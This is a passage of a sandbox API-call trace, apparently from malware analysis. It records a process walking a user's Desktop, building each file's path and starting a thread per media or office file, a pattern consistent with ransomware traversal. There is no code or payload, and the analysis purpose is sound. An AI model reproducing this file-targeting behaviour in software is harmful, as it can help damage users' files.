cFileName="QNu2n.mkv", cAlternateFileName="")) returned 1 [0046.250] wcscmp (_String1="QNu2n.mkv", _String2=".") returned 1 [0046.250] wcscmp (_String1="QNu2n.mkv", _String2="..") returned 1 [0046.250] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x445f80 [0046.250] wcscpy (in: _Dest=0x445f80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.250] wcscat (in: _Dest=0x445f80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.250] wcscat (in: _Dest=0x445f80, _Source="QNu2n.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QNu2n.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QNu2n.mkv" [0046.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x445f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0046.251] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd95867f0, ftCreationTime.dwHighDateTime=0x1d4c714, ftLastAccessTime.dwLowDateTime=0x51ee1bb0, ftLastAccessTime.dwHighDateTime=0x1d4d02a, ftLastWriteTime.dwLowDateTime=0x51ee1bb0, ftLastWriteTime.dwHighDateTime=0x1d4d02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c52, dwReserved0=0x0, dwReserved1=0x0, cFileName="R2CLOGB.png", cAlternateFileName="")) returned 1 [0046.251] wcscmp (_String1="R2CLOGB.png", _String2=".") returned 1 [0046.251] wcscmp (_String1="R2CLOGB.png", _String2="..") returned 1 [0046.251] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x4210a8 [0046.251] wcscpy (in: _Dest=0x4210a8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.251] wcscat (in: _Dest=0x4210a8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.251] wcscat (in: _Dest=0x4210a8, _Source="R2CLOGB.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R2CLOGB.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R2CLOGB.png" [0046.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4210a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0046.252] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ade50, ftCreationTime.dwHighDateTime=0x1d4cd90, ftLastAccessTime.dwLowDateTime=0x1f5bfa90, ftLastAccessTime.dwHighDateTime=0x1d4cd01, ftLastWriteTime.dwLowDateTime=0x1f5bfa90, ftLastWriteTime.dwHighDateTime=0x1d4cd01, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="R8O2SI.m4a", cAlternateFileName="")) returned 1 [0046.252] wcscmp (_String1="R8O2SI.m4a", _String2=".") returned 1 [0046.252] wcscmp (_String1="R8O2SI.m4a", _String2="..") returned 1 [0046.252] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x421118 [0046.252] wcscpy (in: _Dest=0x421118, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.252] wcscat (in: _Dest=0x421118, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.252] wcscat (in: _Dest=0x421118, _Source="R8O2SI.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R8O2SI.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R8O2SI.m4a" [0046.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0046.254] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10740, ftCreationTime.dwHighDateTime=0x1d4c79c, ftLastAccessTime.dwLowDateTime=0x5ed8d6c0, ftLastAccessTime.dwHighDateTime=0x1d4c61c, ftLastWriteTime.dwLowDateTime=0x5ed8d6c0, ftLastWriteTime.dwHighDateTime=0x1d4c61c, nFileSizeHigh=0x0, nFileSizeLow=0x71d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RzNP4wT20yWfy6h_08bR.flv", cAlternateFileName="RZNP4W~1.FLV")) returned 1 [0046.254] wcscmp (_String1="RzNP4wT20yWfy6h_08bR.flv", _String2=".") returned 1 [0046.254] wcscmp (_String1="RzNP4wT20yWfy6h_08bR.flv", _String2="..") returned 1 [0046.254] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x446d48 [0046.254] wcscpy (in: _Dest=0x446d48, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.254] wcscat (in: _Dest=0x446d48, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.254] wcscat (in: _Dest=0x446d48, _Source="RzNP4wT20yWfy6h_08bR.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RzNP4wT20yWfy6h_08bR.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RzNP4wT20yWfy6h_08bR.flv" [0046.254] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0 [0046.255] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f72a70, ftCreationTime.dwHighDateTime=0x1d4c818, ftLastAccessTime.dwLowDateTime=0xadd445a0, ftLastAccessTime.dwHighDateTime=0x1d4cfbf, ftLastWriteTime.dwLowDateTime=0xadd445a0, ftLastWriteTime.dwHighDateTime=0x1d4cfbf, nFileSizeHigh=0x0, nFileSizeLow=0xf078, dwReserved0=0x0, dwReserved1=0x0, cFileName="sI9EFd.rtf", cAlternateFileName="")) returned 1 [0046.255] wcscmp (_String1="sI9EFd.rtf", _String2=".") returned 1 [0046.255] wcscmp (_String1="sI9EFd.rtf", _String2="..") returned 1 [0046.255] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x421188 [0046.255] wcscpy (in: _Dest=0x421188, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.255] wcscat (in: _Dest=0x421188, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.255] wcscat (in: _Dest=0x421188, _Source="sI9EFd.rtf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sI9EFd.rtf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sI9EFd.rtf" [0046.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421188, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0046.257] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedb581f0, ftCreationTime.dwHighDateTime=0x1d4d55c, ftLastAccessTime.dwLowDateTime=0x6f1f4ca0, ftLastAccessTime.dwHighDateTime=0x1d4d2db, ftLastWriteTime.dwLowDateTime=0x6f1f4ca0, ftLastWriteTime.dwHighDateTime=0x1d4d2db, nFileSizeHigh=0x0, nFileSizeLow=0x4765, dwReserved0=0x0, dwReserved1=0x0, cFileName="ss O0l38HTkV-orIpi.mkv", cAlternateFileName="SSO0L3~1.MKV")) returned 1 [0046.257] wcscmp (_String1="ss O0l38HTkV-orIpi.mkv", _String2=".") returned 1 [0046.257] wcscmp (_String1="ss O0l38HTkV-orIpi.mkv", _String2="..") returned 1 [0046.257] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446dd0 [0046.257] wcscpy (in: _Dest=0x446dd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.257] wcscat (in: _Dest=0x446dd0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.257] wcscat (in: _Dest=0x446dd0, _Source="ss O0l38HTkV-orIpi.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ss O0l38HTkV-orIpi.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ss O0l38HTkV-orIpi.mkv" [0046.257] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446dd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0046.264] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x320b9f00, ftCreationTime.dwHighDateTime=0x1d4ce8d, ftLastAccessTime.dwLowDateTime=0xfdf76ca0, ftLastAccessTime.dwHighDateTime=0x1d4cf93, ftLastWriteTime.dwLowDateTime=0xfdf76ca0, ftLastWriteTime.dwHighDateTime=0x1d4cf93, nFileSizeHigh=0x0, nFileSizeLow=0xd12d, dwReserved0=0x0, dwReserved1=0x0, cFileName="tV1mQT.odp", cAlternateFileName="")) returned 1 [0046.264] wcscmp (_String1="tV1mQT.odp", _String2=".") returned 1 [0046.264] wcscmp (_String1="tV1mQT.odp", _String2="..") returned 1 [0046.264] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x4211f8 [0046.264] wcscpy (in: _Dest=0x4211f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0046.264] wcscat (in: _Dest=0x4211f8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0046.264] wcscat (in: _Dest=0x4211f8, _Source="tV1mQT.odp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tV1mQT.odp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tV1mQT.odp" [0046.264] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4211f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec [0047.051] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x323c32b0, ftCreationTime.dwHighDateTime=0x1d4c8ec, ftLastAccessTime.dwLowDateTime=0xe17cfa90, ftLastAccessTime.dwHighDateTime=0x1d4cd7c, ftLastWriteTime.dwLowDateTime=0xe17cfa90, ftLastWriteTime.dwHighDateTime=0x1d4cd7c, nFileSizeHigh=0x0, nFileSizeLow=0x5407, dwReserved0=0x0, dwReserved1=0x0, cFileName="uaky9uM-rMbkI9mDaO.ods", cAlternateFileName="UAKY9U~1.ODS")) returned 1 [0047.051] wcscmp (_String1="uaky9uM-rMbkI9mDaO.ods", _String2=".") returned 1 [0047.051] wcscmp (_String1="uaky9uM-rMbkI9mDaO.ods", _String2="..") returned 1 [0047.051] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x447650 [0047.051] wcscpy (in: _Dest=0x447650, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0047.051] wcscat (in: _Dest=0x447650, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0047.051] wcscat (in: _Dest=0x447650, _Source="uaky9uM-rMbkI9mDaO.ods" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uaky9uM-rMbkI9mDaO.ods") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uaky9uM-rMbkI9mDaO.ods" [0048.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x548 [0048.893] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d95330, ftCreationTime.dwHighDateTime=0x1d4ce95, ftLastAccessTime.dwLowDateTime=0x5e56d7a0, ftLastAccessTime.dwHighDateTime=0x1d4ce42, ftLastWriteTime.dwLowDateTime=0x5e56d7a0, ftLastWriteTime.dwHighDateTime=0x1d4ce42, nFileSizeHigh=0x0, nFileSizeLow=0x7de2, dwReserved0=0x0, dwReserved1=0x0, cFileName="uE0JboAQQ00nz_.pps", cAlternateFileName="UE0JBO~1.PPS")) returned 1 [0048.893] wcscmp (_String1="uE0JboAQQ00nz_.pps", _String2=".") returned 1 [0048.893] wcscmp (_String1="uE0JboAQQ00nz_.pps", _String2="..") returned 1 [0048.893] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x45e1b8 [0048.893] wcscpy (in: _Dest=0x45e1b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0048.893] wcscat (in: _Dest=0x45e1b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0048.893] wcscat (in: _Dest=0x45e1b8, _Source="uE0JboAQQ00nz_.pps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uE0JboAQQ00nz_.pps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uE0JboAQQ00nz_.pps" [0048.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45e1b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768 [0048.894] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0d43f90, ftCreationTime.dwHighDateTime=0x1d4cbc3, ftLastAccessTime.dwLowDateTime=0x3cb19a90, ftLastAccessTime.dwHighDateTime=0x1d4c73a, ftLastWriteTime.dwLowDateTime=0x3cb19a90, ftLastWriteTime.dwHighDateTime=0x1d4c73a, nFileSizeHigh=0x0, nFileSizeLow=0x13e2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="vCebKWN8RS.png", cAlternateFileName="VCEBKW~1.PNG")) returned 1 [0048.894] wcscmp (_String1="vCebKWN8RS.png", _String2=".") returned 1 [0048.894] wcscmp (_String1="vCebKWN8RS.png", _String2="..") returned 1 [0048.894] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x418aa0 [0048.894] wcscpy (in: _Dest=0x418aa0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0048.894] wcscat (in: _Dest=0x418aa0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0048.894] wcscat (in: _Dest=0x418aa0, _Source="vCebKWN8RS.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vCebKWN8RS.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vCebKWN8RS.png" [0048.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x418aa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c [0048.895] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2897140, ftCreationTime.dwHighDateTime=0x1d4d24d, ftLastAccessTime.dwLowDateTime=0x7fcc59f0, ftLastAccessTime.dwHighDateTime=0x1d4cd7a, ftLastWriteTime.dwLowDateTime=0x7fcc59f0, ftLastWriteTime.dwHighDateTime=0x1d4cd7a, nFileSizeHigh=0x0, nFileSizeLow=0x11d0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="vFtm5.png", cAlternateFileName="")) returned 1 [0048.895] wcscmp (_String1="vFtm5.png", _String2=".") returned 1 [0048.895] wcscmp (_String1="vFtm5.png", _String2="..") returned 1 [0048.895] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x445ca8 [0048.895] wcscpy (in: _Dest=0x445ca8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0048.895] wcscat (in: _Dest=0x445ca8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0048.896] wcscat (in: _Dest=0x445ca8, _Source="vFtm5.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFtm5.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFtm5.png" [0048.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x445ca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770 [0048.897] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29ca81e0, ftCreationTime.dwHighDateTime=0x1d4c860, ftLastAccessTime.dwLowDateTime=0x86347dc0, ftLastAccessTime.dwHighDateTime=0x1d4cdc7, ftLastWriteTime.dwLowDateTime=0x86347dc0, ftLastWriteTime.dwHighDateTime=0x1d4cdc7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WaFGTaB5", cAlternateFileName="")) returned 1 [0048.897] wcscmp (_String1="WaFGTaB5", _String2=".") returned 1 [0048.897] wcscmp (_String1="WaFGTaB5", _String2="..") returned 1 [0048.897] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x445c40 [0048.897] wcscpy (in: _Dest=0x445c40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0048.897] wcscat (in: _Dest=0x445c40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0048.897] wcscat (in: _Dest=0x445c40, _Source="WaFGTaB5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5" [0048.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0048.898] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd69be0, ftCreationTime.dwHighDateTime=0x1d4c7e5, ftLastAccessTime.dwLowDateTime=0x3055efc0, ftLastAccessTime.dwHighDateTime=0x1d4ca5b, ftLastWriteTime.dwLowDateTime=0x3055efc0, ftLastWriteTime.dwHighDateTime=0x1d4ca5b, nFileSizeHigh=0x0, nFileSizeLow=0x22f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wOptiQPJiY3.m4a", cAlternateFileName="WOPTIQ~1.M4A")) returned 1 [0053.731] wcscmp (_String1="wOptiQPJiY3.m4a", _String2=".") returned 1 [0053.731] wcscmp (_String1="wOptiQPJiY3.m4a", _String2="..") returned 1 [0053.731] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x437b20 [0053.731] wcscpy (in: _Dest=0x437b20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0053.731] wcscat (in: _Dest=0x437b20, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0053.731] wcscat (in: _Dest=0x437b20, _Source="wOptiQPJiY3.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wOptiQPJiY3.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wOptiQPJiY3.m4a" [0055.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x437b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0055.691] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x454f0a60, ftCreationTime.dwHighDateTime=0x1d4d3bb, ftLastAccessTime.dwLowDateTime=0x13d27580, ftLastAccessTime.dwHighDateTime=0x1d4ceb1, ftLastWriteTime.dwLowDateTime=0x13d27580, ftLastWriteTime.dwHighDateTime=0x1d4ceb1, nFileSizeHigh=0x0, nFileSizeLow=0x12890, dwReserved0=0x0, dwReserved1=0x0, cFileName="yetHxg6wK6sPJgProQ.bmp", cAlternateFileName="YETHXG~1.BMP")) returned 1 [0055.691] wcscmp (_String1="yetHxg6wK6sPJgProQ.bmp", _String2=".") returned 1 [0055.691] wcscmp (_String1="yetHxg6wK6sPJgProQ.bmp", _String2="..") returned 1 [0055.691] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x96f96e0 [0055.691] wcscpy (in: _Dest=0x96f96e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0055.691] wcscat (in: _Dest=0x96f96e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0055.691] wcscat (in: _Dest=0x96f96e0, _Source="yetHxg6wK6sPJgProQ.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yetHxg6wK6sPJgProQ.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yetHxg6wK6sPJgProQ.bmp" [0055.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f96e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca8 [0055.692] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5548d850, ftCreationTime.dwHighDateTime=0x1d4c83b, ftLastAccessTime.dwLowDateTime=0x2efa8270, ftLastAccessTime.dwHighDateTime=0x1d4d3f3, ftLastWriteTime.dwLowDateTime=0x2efa8270, ftLastWriteTime.dwHighDateTime=0x1d4d3f3, nFileSizeHigh=0x0, nFileSizeLow=0x14dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="zcym5IUCAH4TdjqOK-a.wav", cAlternateFileName="ZCYM5I~1.WAV")) returned 1 [0055.692] wcscmp (_String1="zcym5IUCAH4TdjqOK-a.wav", _String2=".") returned 1 [0055.693] wcscmp (_String1="zcym5IUCAH4TdjqOK-a.wav", _String2="..") returned 1 [0055.693] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x96f9768 [0055.693] wcscpy (in: _Dest=0x96f9768, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0055.693] wcscat (in: _Dest=0x96f9768, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0055.693] wcscat (in: _Dest=0x96f9768, _Source="zcym5IUCAH4TdjqOK-a.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zcym5IUCAH4TdjqOK-a.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zcym5IUCAH4TdjqOK-a.wav" [0055.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f9768, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8 [0055.694] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573b42e0, ftCreationTime.dwHighDateTime=0x1d4ce64, ftLastAccessTime.dwLowDateTime=0x726a2700, ftLastAccessTime.dwHighDateTime=0x1d4cf5b, ftLastWriteTime.dwLowDateTime=0x726a2700, ftLastWriteTime.dwHighDateTime=0x1d4cf5b, nFileSizeHigh=0x0, nFileSizeLow=0x14ed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="zO8Hii4 rY4J0WL.flv", cAlternateFileName="ZO8HII~1.FLV")) returned 1 [0055.694] wcscmp (_String1="zO8Hii4 rY4J0WL.flv", _String2=".") returned 1 [0055.694] wcscmp (_String1="zO8Hii4 rY4J0WL.flv", _String2="..") returned 1 [0055.694] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, 